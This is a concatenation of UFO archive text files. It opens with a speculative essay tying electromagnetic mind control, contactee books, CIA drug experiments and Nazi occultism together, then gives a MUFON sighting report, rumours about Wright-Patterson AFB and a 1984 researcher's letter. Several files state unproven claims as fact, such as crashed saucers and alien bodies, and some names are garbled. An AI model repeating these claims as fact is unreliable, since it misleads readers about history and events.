electromagnetics, it was possible to take different people and get them to see
similar things while in the TM state.
Is it possible, that these early 20th Century Scientists, still fresh from
metaphysical schools of thoughts (which are the precursor to applied sciences)
stumbled across the above experience and utilized it in their own occult
practices?
In another book, called "Mind Wars" (C) 1984 St. Martin's Press, Ron McRae
decided to look into the possibility of government use of "psychic powers" in
warfare. On Page 135-136, we find the following:
"The second stage of the present psychic old war, according to Swann, is, "the
many forms of external manipulations that are known to change the interior
psychic formation of any man or woman...the most gross of these techniques was
the early form of brainwashing, where subtle suggestion was enforced and
embedded along with vicious and violent physical trauma. Since that time,
however, we now have the refined techniques known as subliminal persuasion
behavior modification and various forms of covert mind control."
"Swann probably understates the second point. I have said little of these
techniques, in part because many are electronic and not "psychic" in the
gernerally understood sense, in part because little information is available,
and in part for another reason -- security.
"There is, according to the best sources, a real threat in the electronic
manipulation of the human mind. The possibility arose from research that
attempted to explain telepathy electrognetically. Unfortunately, although the
researchers did not discover, as they sought, that thoughts could influence
long-range electromagnetic radiation, they did discover that long-range
electromagnetic radiation might influence the mind."
"According to Barbara Honegger, "the fundamental reason for the increased
interest" in psychic warfare, and the area where the Pentagon spends most of
its estimated six-million-dollar annual budget for psychic or related research,
"is initial results coming out of laboratories in the United States and Canada
that certain amplitude and frequency combinations of external electromagnetic
radiation in the brain-wave frequency range are capable of bypasing the
external sensory mechanism of organisms, including humans, and directly
stimulating higher-level neuronal structures in the brain. This electronic
simulation is known to produce mental changes at a distance, including
hallucinations in various sensory modalities, particularly auditory."
----------------
When did these inquiries begin? As early as the 50's? 40's? 30's? Or should we
move it back even further? And, is there the slightest possibility that
electromagnetics in conjuntion with usage of drugs, noteably LSD, at some point
in time in the past, could be a factor in "highly strange" experiences? Along
with possible body chemistries?
A book called "The Time Tables of History: A Horizontal Linkage of People and
Events" by Bernard Grun, based upon Werner Stein's Kultufrahrplan, (C) 1982 has
some interesting "linear scientific" achievments. Including electricity.
1819 Danish physicist Hans C. Oersted (1977 -1851) discovers electromagnetism
1821 Faraday discovers funamentals of electromagnetic rotation.
1829 American physicist John Henry (1797-1878) constructs an early version of
the electromagnetic motor.
1831 Michael Faraday (1791 - 1867) carries out a series of experiments
demonstrating the discovery of electromagnetic induction.
1831 James Clark Maxwell, Scottish Chemist who theorized (1873) that light
and and electromagnetism have identical source, born (died 1879)
1832 Faraday proposes pictorial representation of electric and magnetic lines
of force.
1833 K.F. Gauss and Wilhelm E. Wever devise the electromagnetic telegraph which
funtions over a distance of 9,000 feet.
1851 Franz Neumann Law of electromagnetic induction.
1856 Nikola Telsa b. 1856 (d. 1943)
1865 Clerk Maxwell "Treatise on Electricity and Magnetism"
1873 James Clark Maxwell "Electricity and Magnetism"
1888 Heinrich Hertz and Olviver Lodge independently indentify radio waves as
belonging to same family as light waves.
1888 Nikola Telsa constructs electric motor (manufactured by Westinghouse)
1896 Ernest Rutherford megnetic detection of electrical waves.
1899 First magnetic recordings of sound.
1902 Oliver Heavside, English physicist, states the existence of an atmospheric
layer which aids the conduction of radio waves.
1904 Sir John Fleming uses thermoinic tube to gernerate radio waves.
1910 J.J. Thomsons work on deflection of "positive rays" in magnetic field.
(there are, of course, numerous mentionings of various works done in regards to
electricity -- these, I highlighted. Reference the book for complete linier
progress of technology durring the era).
Back in the 50's, when UFO invasion appeared absolute in the minds of millions
of Americans, there arose the UFO Prophets. Of the literature that I have read
about these prophets, the works of Howard Menger's "From Outer Space" (C) 1959,
and George Hunt Williamson's "Road In The Sky" (C) 1958, contain some
interesting information. Even though these were considered after the passage of
time a "hoax", there messages are thriving quite well these days. Menger,
specificaly brought some interesting points up durring a Question and Answer
session at the end of his book on Page 163. (For complete Question/Answer
session in Menger's book, refer to MENGER.)
The question is:
"How are the visitors trying to raise the mass consciousness of the people?"
Menger answers with:
A. By various methods such as:
a. Dissemination of saucer research data.
b. Stories of contacts with their own.
c. Their signs in the sky.
d. Mechanically by means of mental capsulation and machines.
Mental capsulation can be projected by sound, color, vibration. A
high-frequency sound can be a mental capsulation; a song or a selection of
music can be a mental capsulation.
The machines which send out super-sonic high frequency sounds use a man's
body as a terminal in conjunction with the mental capsulation. Ther are three
terminal bodies in each state, The machines now operate on a silent carrier
wave.
---------------
Now, let's skip back a few pages and review Mengers reactions when he was
given these "devices" by the "Space Brothers". On page 62 Menger writes:
"Then they talked further of their many contacts all over the world and my
job in particular."
"One of my tasks was the mental assistance of individuals often without
their knowledge. Such could be accomplished by soun-frequency waves, light
waves, the use of colors and other physical means. I had alays thought of such
matters as being accomplished in some supernatural manner; but I was rapidly
learning that the Infinite Creator accomplished all purposes by natural laws."
"'Do not think of this as some artificial control of the human brain,' one of
the men said, "as you may see in some of those horrifying science-fiction
pictures -- though I must confess that he (and he indicated the other man) and
I aw two of them on a double picture (I assume he meant to say 'double
feature') and rather enjoyed them. We do not control the brain. Such an action
is not in keeping with the laws of the Infinite Creator. Instead, with
theproper instruments and techniques, you can accomplish a much larger purpose:
YOU CAN RELEASE SOMTHING IN THE BRAIN WHICH IS ALREADY THERE.''
"The instruments in the car accomplished such tasks. I would be asked to
place them in four states: New Jersey, New York, Pennsylvania and Maryland.
With each intrusment would be aman or woman who would act as a human terminal
in conjunction with the machine. These people would react according to their
own individual brain development with the assistance of the impulses received
by the machines."
"I didn't quite understand how it was to work, but it seemed they were
trying to get across that it was necessary to have both the machine and the
human mind working in conjunction to accomplish such a purpose."
"'A central location will be established for each instrusment. The range of
each instrument is about 25 miles.'"
"'After you place these instruments, Howard, you will notice an immediate
and obvious effect. People within a raius of 25 miles of each instrument will
automatically become more aware of and conscious of their interest in space
travel and in our space crage. They will see more of our craft because they
will be loOking up. Then when these people hear of your experiences, they will
be inspired to come to you and offer to help you in any way they can."
"They had already established many bases. The one in New Jersey was, they
said, within 15 miles of my home, totally unknown to anyone, except, of course,
those of this planet who had been working with the space people for many
years."
------------
Points to ponder. In the OMNI article on Persinger's work, it demonstrates
that their are particular images which are consistant in the laboratory when
exposed to electromagnetics. Is there a slight possibility, that perhaps an
early form of electromagnetics was utilized to influence these individuals?
Today, it is said, these "beams" are coming from outer space. Then, they were
down on earth. They appear to be proportional to the technological advances of
the day. Remember, Menger utilized BOLD CAPS himself, within his book when he
said
"YOU CAN RELEASE SOMTHING IN THE BRAIN WHICH IS ALREADY THERE"
Of interest also, in Persingers research, is the ability to get people to
see UFO's while under the influence of the electromagnetic helmet.
In the book "Flying Saucers: Serious Business", (C) 1966 Frank Edwards has
as a preface the following quote:
"Flying Saucers exist only in the imaginations of the viewers."
-- President Dwight D. Eisenhower
December 16, 1954
I ask, could this be literaly true? In light of possibilities in which such
objects can be conjured from the dark recesses of the subjective mind on a
consistant bases from the volunteers in research clinics, could we dismiss the
possibility that Eisenhower was telling the truth? And could it be possible
that the use of "imaginary" means the Government knew that they were not real?
Could it possibily be true that the Condon report was true? Can it be, we are
looking in the wrong place for the answers. And possibly the Government feels
more comfortable with us thinking UFO's and aliens are responsible for the
"intrusions"? If so, why would they wish to hide it?
In the book "Mind Wars" McRea then writes, on pages 116-117:
"According to Langley-Porter's Alan Gevins, who is generally cautious and
skeptical of psychic claims, the reality may be worse. Extremely low frequency
radiation (ELF), which the navy has proposed as a submarine communication
system because the thousand-mile long wave forms are unobstructed by water,
might be capable of shutting off the brain, killing everyone in 10 thousand
square mile or larger target area. 'No one paid any attention to the biological
effects of ELF for years," says Gevins, "because the power levels are so low.
Then we realized that because the power levels are so low, the brain could
mistake the outside signal for its own, mimic it [a process known as
bioelectric entrainment], and respond when it changes.'"
"It is possible the Soviets have actually tested this technique. The microwaves
beamed at the U.S. embassy in Moscow might have been a test. The navy is still
investigating an even more ominous possibility -- a rash of aircraft carrier
crashes in 1980 and 1981 might have been caused by electromagnetic waves beamed
at incoming pilots from the Soviet spy ships tha shadow the U.S. fleet. Even a
tiny uncertainty, electronically induced at the last critical second before an
aircraft touches down on the pitching deck of a carrier, might cause disaster."
"I must stress that these results and speculations are tentative. Ther is no
reason for panic, and the United States has INVESTED adequate resources to
INVESTIGATION OF THE PROBLEM. There is no need for a psychic Manhatten
Project." [bold caps inserted].
---------------
Here we are told the United States has invested adequate resources to
investigate the problem. In other words, can we then assume that a problem has
been noted? At what level of investigation has the government undertaken in
looking into the problem, and is it dealing with just the ELF situation? Or is
there more? And what is the problem? Which agency, then, would be utilized?
Could it possibly be HEW? (Health, Education and Welfare). In the past, the
record of HEW's involvment with past experimentation seems to have been more
then just lightly involved. By 1971 the court dockets were crowded with
lawsuits filed on behalf of the "human guinea pigs" who were victims of
research.
The U.S. Congress, Senate, The Staff of the Subcommittee on Constitutional
Rights, Committee on the Judiciary, "Individual RIghts and the Federal ROle in
Behavior Modification", 93rd Congress, 2nd Session, Novemeber, 1974 was chaired
by Senator Sam Ervin. It was largely ignored by the press, yet it revealed some
interesting information. The report disclosed that thirteen projects were run
by the Defense Department; the Department of Labor had conducted several
experiments; the National Science Foundation conducted a "substantial amount of
research dealing with understanding of human behavior"; even the Vetrens'
Administration participated in psychosurgery experiments, which, in many cases,
were nothing more than an advanced form of lobotomy.
One of the largest supporter of "behaior research" was the Department of
Health, Education and Welfare, and its subagency the National Insitute of
Mental Health. The subcommittee said that HEW had participated in a "very large
number of projects dealing with the control and alteration of human behavior."
Largest of all the supporters of behavior modification was the Law Enforcement
Assistance Administration (LEAA) which, under the Department of Justice, funded
hundreds of behavior modification experiments.
In 1975 the Rockefeller Report to the President on CIA Activities was released.
Shortly there after, the Owens family were informed that their father Dr. Frank
Owens did not die of suicide, in 1953, but that he had been administered LSD
without his knowledge, and his death was concealed due to "National Security".
The Rockefeller Report also contains information which, in 1973, a total of 152
seperate files were ordered destroyed by the CIA. It is rather interesting, as
the type of death that Ownes suffered, is high in similarity to the death of
General James V. Forrestal, who also jumped to his death from a 16th story
hospital window. It is said that Truman had quickly put the lid on the secret
and turned the screws so tight that the general public still thinks that flying
saucers are a joke. Lear then claims that Forrester's medical records are
sealed to this day. Is there a possibility that Forrester could have been one
of these "earlier" victims? Is it possible that due to this, Forrester's
records are sealed? Why would they be sealed to this day, if it was "just a
suicide"? Unless, of course, there is a need to coverup what CAUSED the
suicide. Simple statements about "alien invasions" should NOT be accepted as
being something that needs to be sealed, unless there was is a desire to hide
the cause of death due to the interest of "National Security".
(The Owens settlement can be found in Senate S.B. 3035)
With the possibility of LSD the cause of Forrester's death, some may think it
may have not been manufactured early enough to effect the era we are
considering. However, it was being manufactured by Sandoz Laboratories since
1938, and accidently ingested by Hoffman in 1943. In 1950 it was introduced to
American Psychiatrists. These things are being brought up in order to
demonstrate that there have been capabilities on the Government's part to
coverup. To some, this may appear to be unrelated and very disjointed, but it
is being related to make a point. There is a slight possibility that some of
the things that have been "uncovered" in the past could be directly related to
things we are trying to "uncover today".
Remember what the OMNI article states about how easy it is to utilize tonal
sounds, symbols or colors to put one back into such a state? How then, does
Menger describe the encapsulation method? Is there some fact in what Menger
states in light of current clinical research?
In the OMNI article, and other articles dealing with the abductee scenario,
great care and concern are utilized to determin just how the experience is
affected by audio/visual material, such as TV, the media, reading material,
etc. But then, if we reflect upon what Menger states, what if the dissimination
of information of contact with "our kind" has some merit? Is there some truth
in this, and can we look at it as LEAR would like to have us believe, that we
are being fed propoganda from various levels in order to solidify this
acceptance? The same line of thinking which begun in the 50's continues with us
today. Look at the following paragraphs garnered from Brad Steigers book
"Fellowship" (C) 1988, Ivy Books, and see if the "thread" still holds true
today, as it did back in the 50's.
Page 85 (From Mark-Age Channeling Session)
Each one is assigned, in a sense, to a certain individual upon the Earth planet
at this time. We are alerted by the various methods we have of mind control in
electonics and magnetic equipment -- terms which we use for your convenience
which really do not explain our equipment -- and through these means, we know
your present development.
Page 98 (From Space Being OX-HO)
"America right now is feeling the effect of the Karmic pattern of the Atlantean
culture. Your young people are Atlanteans reborn to once again work out their
Karma. They are filled to overflowing with the knowledge of the great
civilization of Atlantis. Their arts and their scientific technology is greater
than ever before, and you will begin to see this more and more distinctly."
Page 52 PRINCIPLES OF THE SOLAR LIGHT CENTER
1. Belief in an Infinite Creator (the All-Knowing-One, of the Space Beings) and
in the Cosmic Christ, the Spritual heirarchy, and the Great White Brotherhood.
The message today, is the same as yesterday. Are we being fooled by the
government itself, or some belief system which transends our political systems?
And are these really spiritual entities, human agencies, or combination of
both?
As of late, certain groups have been complaining that the United States has
been "jamming their transmissions". If this is true, then the government is
well aware of some type of influence being exerted over our airwaves and are
attempting to stop it. If this is true, and due to the nature of such
possibilities, they would not wish to have the American citizens know that such
a thing would exist. And so, they would then attempt to "jam" the frequencies
in an effort to counteract the effect. In fact, there were, in some circles,
threats issued, that if the government did NOT stop the "war would begin". What
would this entail? Short circuiting of brainwave patterns to create utter
chaos? It is indeed rather ominous to think, that such a war could be fought
with such intensity without our even knowing what on earth is going on.
If we are being "manipulated" in any manner, is our government aware of it?
Sometimes I wonder, although we may look back at the extremes of the McCarthy
era, and the blacklisting of entertainers, screewriters and etc., if there
could have been real reasoning behind the power of the media? We can now think
of it as extremes, today, but then could there have been "hints" of concerns
we are not aware of?
Were there or are their indications that the idealisms which "created and
programmed" Hitler spread beyond Europe? Various writers have brought out that
yes, indeed these thoughts were not confined to Germany and the surrounding
immediate areas.
"The Legacy of The Gods"
Robert Charroux
Translated into english (C) 1974 by Berkley Publishing Corporation
Original (C) 1964 by Robert Laffont, Inc.
After their defeat in 1918 a few Germans, initiated into infernal occultism and
intoxicated with racist pretensions, reorganized the Aryan society that became
all the more secret becuase it was outside the law in all parts of the world.
Their goal was to create a superior race; that is, a privelaged people who
would subjegate and rule the rest of the world.
In his successful book, "The Myth of The Twentieth Century", published in 1930,
the talented writer Alfred Rosenberg stated the laws and philosophy of the
Aryan champions. "To rule the world," he said, "it is enough to have pure
blood."
This new charter of the Aryan world was to be illustrated by rivers of blood,
countless massacres, and mountains of corpses.
Actually, however, Rosenberg had not invented anything. Identical ideas had
been professed earlier by George Grant, Gobineau, Houston, Chamberlain, and
later, the German Ludwig Wilset, in "Origin and Prehistory of The Aryans". And
the French historian A. Pictet, in a work titled "Migrations Primitives des
Aryas" had announced the advent of the master race: "In an era before any
historical record, lost in the mists of time, a race destined by Provedence to
dominate the entire world grew little by little in its primeval cradle,
privileged above all others by beauty of blood and gifts of intelligence."
The Thule Group was founded in 1910 by Professor Felix Niedner. Beginning in
1919, some outstanding adepts -- Baron Ungern von Sternberg, Karl Haushofer, a
disciple of Guderjieff, the writer Deitrich Eckart -- gave it a new impetus
and an emblem: the swastika, symbol of evolution, the rotation of the stars
around the pole, and the creation of fire among the Hindus. (The swastika is
actually a universal sign found amoung all peoples. It is carved on a stone
lamp in the Madeleine cave, the tablets of Glozel, the stones of Moulin Piat,
and the prehistoric ramparts of Mississippi, and it appears in the inscription
on the Newton Stone in Scotland.)
In his book L'Europe Paienne du Vingtieme Siecle," the historian Pierre Mariel
writes that Deitrich Echart was Adolf Hitler's initiator and brought him into
the Thule group in 1922.
Hitler was in great financial difficulties and may even have been a homeless
vagrant, but he was consumed with ambition, rancor, and sincere, frenzied
idalism. He was also somewhat clairvoyant; he served as a medium for the
conspiracy, which bacame increasingly enveloped in the mists of a dubious
occultism.
At the same time, similar movements were devloping on the European continent.
In London, Paris, Berlin, and Rome there was clandestine publications
containing an odd mixture of anarchism, spiritualism, "traditional research,"
and eroticism.
In about 1920 the Revue Balitque appeared in France. It examined the problem
of the direct descendants of the Hyperborean ancestors: the Lithuanians, whose
writing has so many points in common with Sanskrit.
The magazine Les Polaires (Paris, 1921) had the ambition of resucitating the
old myth of Hyperborea, but this kind of writing floursihed above all in
Germany, with Niedner's "Altnordische Dichtung und Pros," Dietrich Echart's
"Auf gut Deutch," and "Die Hanuseen Zeitung," published by the magician Eric
Jan Van Hanussen, the man who is said to have replaced Hitler as the medium of
the Thule Group, and who later became his semiofficial astrologer.
The ORDENSBURGER
Beginning in 1934, the Thule Group became a powerful secret society whose name
was not to be known to the public or even candidates for admission. The latter,
before their intiation, were given to understand that the organization was the
secret Teutonic Order.
This secret order had, of course, no connection with the real Teutonic Order,
which still exists in Portugal and the Netherlands. Under the name of the
Knights of Poseidon (still the ideas of knighthood and the western ocean of
Atlantis), it has devoted itself to underseas adventure, and is surely in
comunication with the THule Group. It has been said the Knights of Poseidon
reprenst the temporal power of the German secret army, while the Thule Group is
its spiritual power. This may be true.
There were three aspects of the education given in the Ordensburger: military,
similar to modern military and police academies; political; and occult, similar
to the doctines of Gurdjieff. (George Ivanovich Gurdjieff [1868-1949], born in
the Caucasus, was both an adventurer and an enlightened occultist. Whether he
was a miracle-worker, a secret agent, or simply a charlatan, he proagated in
Europe and America strange, murky, and fascinating doctrines that troubled many
weak minds. Perhaps he had a certain genious, but if so he was never able to
express it in his books, which are unreadable, inane, and incomprehensible. He
did, however, influence certain spiritualistic sects.)
In a Rhineland forest, amid tall firs, stands the white impressive Vogelsang
castle which was the Ordensburg No. 1 of the THule Goup, with the main bureau
of what would now be called psychological warfare.
-------------
The THULE Group itself, was rather active in world political affairs also.
Below is a small excerpt to demonstrate this from a recognized writter outside
of the UFO circls.
"The Life and Death of Adolf Hitler"
by Robert Payne
Popular Library Paper Back Edition
(C) 1973 Page 125
The reaction set in swiftly, as the extreme right gatherd its forces. The
headquarers of the reaction was the Hotel Vierjahreszeiten, where several
floors were given over to the THule Society, ostensibly a literary club devoted
to the study of Nordic culture but in fact a secret political organization
devoted to violent anti-Semitism and rule by an aristocratic elite. The name of
the organization derived from ultima THule, the unknonw northern land believed
to be the original home of the German race. The society had been founded during
the war by Baron Rudolf von Sebottendorff, whose aristocratic prensions reposed
on imaginary foundations. His real name was Rudolf Glauer, and he was the son
of a railroad engineer: he was more aristocratic than the aristocrats. He had
ingratiated himself into Munich society, large sums of monery were at this
disposal, and many of the most influential people in Munich were his disciples.
The symbol of the Thule Society was a swastika with a dagger enclosed in laurel
leaves.
Thule agents had penetrated the government; they were especially adept at
foriegn documents and assembling cashes of arms and ammunition; they had
powerful ties with the Freikorps, or Free Corps, the private armies led by
rabid rightists, usually army officers supported by rich industrailists and
they had begun to work among the industrial proletariat, especially among the
railwaymen, because they realized that a successful counterrevolution could be
brought about only by controling the means of transportaion. They were also
working without much success on the Munich garrison troops, who continued to
sit on the fence, observing the turmoil around them with extraordinary
indifference.
And here, a glimps at early beginnings in creating a "perfect race".
From Page 23 , Footnote, The Nazi Doctors (C) 1986 by Robert Jay Lifton
Fritz Lenz, a German physician-geneticist advocate of sterilization (later a
leading idealogue in the Nazi progrom of "racial hygiene"), could, in 1923,
berate his countrymen for thier backwardness in the domain of sterilzation as
compared with the United States. Lenz complained that provisions in the Weimar
Constitution (prohibiting the infliction of bodily alterations on human beings)
prevented widespread use of vasectomy techniques; that Germany had nothing to
match the eugenics research institutions in England and the United States (for
instance, that at Cold SPring Harbor, New York, led by Charles B. Davenport and
funded by the Carnegie Instituion in Washington and by Mary Harriman); and that
Germany had no equivalent to the American laws prohibiting marriage both for
people suffering from such conditions as epilepsy or mental retardation, and
between people of different races. Lenz criticized America only for focusing
too generally on preserving the "white race" instead of specifically on the
"Nordic race" -- yet was convinced that the "next round in the thousand year
fight for the life of the Nordic race will probably be fought in America." That
single reservation suggests the early German focus on a specific racial entity,
the "Nordic" or "Aryan race," however unsupported by existing knowledge.
There had been plenty of racial-eugenic passion in the United States, impulses
to sterilize large numbers of criminals and mental patients out of fear of
"national degenration" and of threat to the health of "the civilized races,"
who were seen to be "biologically plunging downward." Associated with the
American eugenics movemnet was a biomedical vision whose exten is suggested by
the following quotation from a 1923 book by A. E. Wiggam: "The first warning
which biology gives to statesmanship is that the advanced races of mankind are
going backward; ... that civilization, as you have so far administered it, is
self-destructive; that civilization always destroyst the man that builds it;
that your vast efforts to improve man's lot, instead of imporving man, are
hastening the hour of his destruction". *
* Footnote: In a 1932 study of the sterilization movements in the United
States, J.P. Landman spoke of "alarmist eugenics" and of "over zealous and over
ardent eugenicists" who "regard the socially inadequate persons, i.e., the
feeble-minded, the epileptics, the meantally diseased, the blind, the deformed
and the crminals as inimical to the human race ... [because] these peoples
perpetuate their deficiencies and thus threaten the quality of the ensuing
generations. It should be our aim to exterminate these undesirables, they
contend, since a nation must defend itself against national degeneration as
much as against the external foreign enemy."
-------------
Can we assume that these influences are truly "alien" or "supernatural
intelligences"? Or can we really, and with great dare, question if in fact it
is a resurected belief which is posing itself for a final strike? If we can
remove the politics of the situation, and reflect upon the zeal in which
religion has moved the political formations of the world we live in, reflect
upon the many mysteries that concluded with the end of World War II, and can
look beyond Hitler, maybe something is their "in the air" waging war over the
minds of men. One can disolve political institutions, but as various belief
systems in the world have proven time immorial, it is difficult to destroy the
belief in and the practice of it. The belief itself can still survive
irregardless of what political boundries it may reside in. Including the USSR.
There is a great trend in regards to world viewpoints of Hitler, and the
stigmatism of World War II. We cannot believe that such an individual was
spawned naturally from the genetic pools of humanity. We cannot believe that he
did not accomplish all these things alone. And we cannot dare believe that the
thinking patterns of that era were also revelent here in the United States.
Theologins would prefer to claim Hitler was Demon possessed, not laying claim
to the errors of prior religious influences which spawned the rebellion. And
could it be due to this, we skirt around valid questions? Nearly every book
written about in regards to UFO's, at some point mention the Nazi's and their
going "underground" to continue on. To think of the possibilities of this being
so, one must remove the viewpoint of a political column, and think about the
belief system which drove these onwards. These things just do not die. It may
make us feel uncomfortable to think that during the 20's, the United States was
the "leader" in eugenics which inspired Germany to increase it's own efforts
until it reached the point of biological experimental sciences, eugenics and
genocide. It may also make us feel uncomfortable to think that the "next
struggle" could be here in the United States. But do we have the courage to
examine it carefully?
To what extent did this belief infiltrate other parts of the world? Could
there have possibly been some measure of truth in Menger's claims? Or is this
all just fabrication? He cut there hair, got them prepared to send out
into the world. He would show them where the water supplies were, where the
schools were. He said they didn't need any legal documents to remain in the
country. This took up so much of his time, he couldn't keep up with his
signpainter's business.
Could there have been Ahnenerbe type experimentation in other parts of the
world, including the United States? What is so special about the ages of 30-40
years old? And why has it been said more then once that the "children are very
important"? Was there an actual attempt to extend the "national heritage" to
Germans outside of Germany and Europe? We, perhaps cannot rationalize the use
of science to further a belief system. The intellect, however exists, and has
existed for centuries, in which reasoning can lead men to do these things in
order to appease their god.
These are but a small portion of the various questions that arrise. Perhaps,
these "threads" have very little real meaning. Yet, on the other hand, they
could have real meaning. The complexities which could be built out of this, are
indeed great. But, as with all things, they must be viewed with balance.
If there is interest in this, perhaps I will create another file. Please take
note, however, if indeed we are now being put to the test, today as it was
yesterday, it is imperative to test all "spirits" (or, things in the air).
------------------


91
textfiles.com/ufo/witdbey.ufo Normal file
View File

@@ -0,0 +1,91 @@
WHIDBEY ISLAND UFO REPORT CLASSIFIED AS AN "UNKNOWN"
After a thorough investigation of all pertinent facts, the
UFO sighting reported by Dan MacIndoe of Oak Harbor on January
21st, 1988 has been classified as a true "unknown". The Mutual
UFO Network (MUFON)--a civilian organization of trained
professionals that investigates UFO reports--has ruled out all
possible conventional explanations for the object seen by Mr.
MacIndoe, his wife, mother, mother-in-law and father-in-law, and
three-year-old daughter.
Dan MacIndoe, age 32, an ex-Navy lieutenant with seven
years military service in the field of aviation
supply--including work assignments with the Navy's prestigious
Blue Angels squadron--was rated as an exceptionally credible
witness by the MUFON organization.
The UFO encounter began at 10:45 p.m. on the night of
January 21st at the MacIndoe home not far from the Whidbey
Island Naval Air Station. Flight operations at Whidbey NAS had
by that time been over for 15 minutes, with the last plane
reported "on the deck" at 10:30 p.m.
The UFO was first observed by Cornelia MacIndoe, age 72,
Dan MacIndoe's mother, who sighted a bright, orange-yellow
stationary light in the southern sky when she went outside to
smoke a cigarette. She called the entire family's attention to
the object, and together they watched as the UFO shot straight
up for approximately 3 degrees of arc from a position 25 degrees
above the horizon in the direction of the Naval Air Station.
The object then abruptly stopped, made a sharp right-angle turn
in the horizontal direction and came straight towards them.
According to MacIndoe's account, the object covered a
distance of one and a half miles in approximately 3 seconds. As
the UFO approached the house it seemed to slow, taking
approximately 15 seconds to slowly drift directly over the heads
of the five adult witnesses and child. It disappeared from view
as it travelled in a straight path to the NNE, passing behind
some tall fir trees behind the MacIndoe house.
While the object was passing overhead Dan MacIndoe was able
to observe the object through a 135 mm telephoto lens, and was
also able to determine that there was no sound associated with
its flight. Mr. MacIndoe described the shape of the underside
of the object as that of "a perfect circle."
"The lights were blueish-white in nature and I estimate 15
lights spanned the circumference of the circle. All remained on
forming a circle of 'running lights'. The lights would pulse
brighter in sequence, I believe going in a clockwise direction,"
Dan MacIndoe reported.
He went on to say, "...during the event winds were calm,
there were scattered clouds in the vicinity. We live in a rural
area. There were no sounds. During the entire episode none of
us heard the usual prop or jet noise associated with military
aircraft using the airfield. At the time the object was
directly overhead I asked my family for complete silence to
listen for engine noise. There was absolute silence."
According to Dr. Donald Johnson, Washington State Director
for MUFON, a combination of factors were sufficient to rule out
all mundane explanations for the sighting. "The fact that this
overflight occurred in restricted military airspace, together
with the testimony of multiple witnesses, the complete lack of
sound, the observation of the unusual lighting pattern on the
object seen through magnification, and the lack of wind combine
to provide sufficient information to classify this case as an
unknown."
"In other words, there is little possibility that the
object the MacIndoes and others reported seeing that night was a
satellite, balloon, commercial or military airplane or
helicopter, or astronomical body." The National Weather Service
and Whidbey NAS were called to confirm that there were no
weather balloons released at that time. Additionally, several
of Mr. MacIndoe's Dugualla Bay neighbors and others from as far
away as Lake Washington, Edmonds, and Bellingham called him to
report that they had also witnessed unusual lights in the sky
that evening.
Dr. Johnson reports that the field investigation has been
evaluated by the national headquarters as complete. The
sighting was assigned a strangeness rating of four on a
five-point scale--labelled as "strange, does not conform to
known principles", and it also received a probability rating of
four on a five point scale--"credible and sound".


75
textfiles.com/ufo/wpat.ufo Normal file
View File

@@ -0,0 +1,75 @@
Wright Patterson AFB : What's Going On There?
---------------------------------------------
- Captain Edward Ruppelt while head of the U.S. Air Force's Air
Technical Intelligence Center (ATIC) "Project Bluebook", was
stationed at Wright-Patterson Air Force Base.
- Some believe Wright-Patterson to be a 24 hour Top Secret UFO
monitoring and research station.
- After the July 2, 1947 crash of a UFO at Roswell, New Mexico, the
wreckage of the craft was loaded onto a B-29 and shipped directly
to Wright-Patterson AFB in Dayton, Ohio.
- Wright Field (as it was formerly known) was the headquarters for
the Air Materiel Command (AMC). General Nathan Twining was the
Commanding General of the AMC back in 1947. He is also implicated
as being one of the original "MJ-12" members.
- Gun camera film taken from F-86A Sabre jets in 1953-54 was later
taken to Wright-Patterson AFB for evaluation.
- Colonel John Burnett was the Air Attache to the Foreign Technology
Division at Wright-Pat in 1965 and met with a Captain Bruce Cathie,
a New Zealand airline pilot who related to Burnett that he had
discovered evidence for a "worldwide grid system used by UFOs".
Burnett revealed to Cathie that intensive UFO research was going
on there. In Cathie's second book he says the following..."The
scientific laboratory there, set up for the purpose, was described
as a complex of buildings covering a large area and staffed by
many of the world's top scientists. Experimental work was carried
out twenty-four hours a day, 365 days a year.
- The crash of a 100ft in diameter saucer with 16 dead aliens aboard
near Aztec, New Mexico in 1948, had its remains sent to Wright-Pat
shortly thereafter.
- In a book by Jean-Charles Fumoux in 1981 entitled "Preuves
Scientifiques OVNI", the author relates how Leon B. Visse, an
alleged expert on histons (elements connected with cellular
genetic material) was invited in 1959 to a military compound at
Wright-Patterson AFB, where he was asked to perform an experiment
on the histonic weight of particular cells. Visse was later taken
into a special room where he viewed two humanoid corpses.
- Leonard Stringfield contacted a former Navy test pilot known as
"P.J.", who related the story of him and several other Navy pilots
coming across a saucer-shaped aircraft which was being guarded at
Wright-Patterson AFB back in April/1962. He was puzzled by the
seeming lack of security since the object was not located in the
test facility of the AFB.
- Tommy Blann, a researcher, interviewed a Colonel "X" who said,
"In the earlier years they had taken some bodies to this base,
but later it depended on where they were found. They had a hell
of a time setting up procedures for this operation, as well as
getting craft out of the area without it being observed. Usually
this was done at nighttime." Colonel"X" also told Blann that he
believed that in more recent years the bodies were flown outside
the U.S. to a secret naval installation on an island in the Pacific.
- Senator Barry Goldwater was denied access into a building at Wright
Patterson AFB because it was classified above Top Secret. Goldwater
did say that he understood that a plan was underway to release all
or part of this material sometime in the future...although he didn't
know what it was, he did say that he was aware of the rumours.
* Note: The above was taken from Timothy Good's 1988 UFO Book
entitled "Above Top Secret".


66
textfiles.com/ufo/wsslet1.ufo Normal file
View File

@@ -0,0 +1,66 @@
William S. Steinman
15043 Rosalita Dr.
La Mirada, Calif.
90638
Stanton T. Friedman
110 Kings College Rd.
Fredericton, New Brunswick
Canada
E2B 2E7
March 21, 1984
Dear Stan:
I received a letter from Fred Darwin of Dallas, Texas, in which
he laid down the history of N.D.R.C. - O.S.R.D. as it became J.D.R.B.
and eventually ended up becoming R.D.B. He gave me names of persons
whom he considered to be the most likely candidates for team members
on a Flying Saucer recovery operation - "if there were ever such a
happening". They are as follows:
(1) Dr. Vannevar Bush
(2) Dr. Karl T. Compton
(3) Dr. Lloyd V. Berkner
(4) Dr. Robert F. Rinehart
(5) Dr. Eric A. Walker
(6) Dr. John Von Neumann
I did some library research on each name, xeroxing a biography
of each individual, and looking up their descendants in local area
telephone directories.
Stan, I believe that the name of that individual, whom Sarbacher
mentioned as attending all of the meetings pertaining to recovered
flying saucers, is Dr. Eric A. Walker.
------------------
Remember Sarbacher stating (moore let me hear that tape
recording) that this man came from Pennsylvannia and wrote a book
on Electrical Engineering; well Walker, at that time, was President
of Penn state university, was formerly head of Penn States electrical
Engineering Dept., wrote a book on Electrical Engineering, and was a
consultant ("dollar a year man") to J.R.D.B 1949-1951. He also was in
charge of a naval laboratory that was developing electronically sonar
guided Torpedoes - which were consequently showing very positive
results against the Japanese during WW II.
The last residence that I have for him is as follows:
Dr. Eric A. Walker
Rock Springs Farm Pennsylvania
Furnace, Pennsylvania
16895
